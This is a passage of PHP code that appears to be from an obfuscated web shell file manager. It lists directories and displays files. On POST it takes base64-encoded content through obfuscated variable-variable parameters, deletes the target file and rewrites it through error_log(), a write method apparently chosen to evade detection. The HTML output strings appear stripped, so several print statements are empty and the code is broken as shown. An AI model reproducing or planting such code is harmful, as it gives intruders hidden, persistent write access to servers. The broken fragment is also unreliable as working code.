' . implode("\n", array_merge($directories, $fileItems)) . '
';
}
function LoadFile($GetPath) {
if (!is_dir($GetPath) && file_exists($GetPath) && is_readable($GetPath)) {
$content = file_get_contents($GetPath);
$isWritable = is_writable($GetPath);
print '';
if ($isWritable) {
print '
';
} else {
print '
';
foreach (explode("\n", $content) as $num => $line) {
printf('%s%s
', str_pad($num + 1, 3, ' ', STR_PAD_LEFT), htmlspecialchars($line));
}
print '';
}
print '
';
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset(${$__}['f_p'])) {
$filePath = realpath(${$__}['f_p']);
if ($filePath && strpos($filePath, $rootPath) === 0 && is_writable(is_dir($filePath) ? $filePath : dirname($filePath))) {
if (isset(${$__}['s_f']) && isset(${$__}['f_c_64'])) {
$content = $b(${$__}['f_c_64']);
if (file_exists($filePath)) { unlink($filePath); }
$saveMsg = error_log($content, 3, $filePath) ? "